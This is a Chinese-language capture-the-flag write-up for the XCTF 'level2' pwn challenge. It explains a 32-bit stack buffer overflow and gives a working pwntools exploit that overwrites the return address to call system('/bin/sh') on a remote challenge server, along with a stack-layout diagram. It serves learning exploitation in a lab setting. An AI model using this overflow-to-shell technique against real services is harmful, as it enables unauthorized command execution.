yidianhan

xctf-level2

题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055

拿到题目,查看一下相关信息:32位,开启了NX

 

 

 

放入ida查看:

 

 

 代码比较简单,进入vulnerable_function()查看,程序的功能是输入一段文字,显示Hello World!

 

 

 

 我们可以通过read函数,溢出到callsystem的位置,执行ststem(\'/bash/sh\'),拿到shell权限

唔,这里附带一个链接知识:https://blog.csdn.net/qq_38990949/article/details/82895975

我们可以知道,payload = \'a\' * (offset + 4) + sys_addr + ret_add + sh_addr

根据这个公式,offset为88,我们只为了取得shell,ret_add随便写就行了,需要找到sys_addr和sh_addr的地址

查找知识,看到这个寻找的方法:

sys_addr = elf.symbols[\'system\']

sh_addr = elf.search(\'/bin/sh\').next()

这样就可以写exp了:

# -*- coding:utf-8 -*-

from pwn import *

context.log_level = \'debug\'

#cnn = process(\'./level2\')
cnn = remote(\'111.198.29.45\',52271)

elf = ELF(\'./level2\')

system_addr = elf.symbols[\'system\']

binsh_addr = elf.search(\'/bin/sh\').next()

payload = \'a\'*0x88+\'a\'*0x4 + p32(system_addr) + p32(4) + p32(binsh_addr)


cnn.sendlineafter(\'Input:\',payload)

cnn.interactive()
exp

通过ls命令,然后cat flag就能获得flag

 

 

 

 

总结:推荐一波小知识:https://blog.csdn.net/qq_38990949/article/details/82895975

// 伪代码
 A(int arg_a1,int arg_a2)
 B(int arg_b1,int arg_b2,int arg_b3)
 C(int arg_c1,int arg_c2)
-------------------------------------
// B的压栈流程
 ---> ESP                                
        buf[128]                  
        EBP                       
        return                        //-->fake_addr_A
        arg_b1                        //-->4006b0  addr_pop_pop_ret
        arg_b2  arg_a1         //pop r14 
        arg_b3    arg_a2       //pop r15
        ret                           // --->fake_addr_C
        0                                 // --->C的返回地址,现在没用了
        arg_c1
        arg_c2
  -->EBP
NX利用结构

 

分类:

技术点:

相关文章: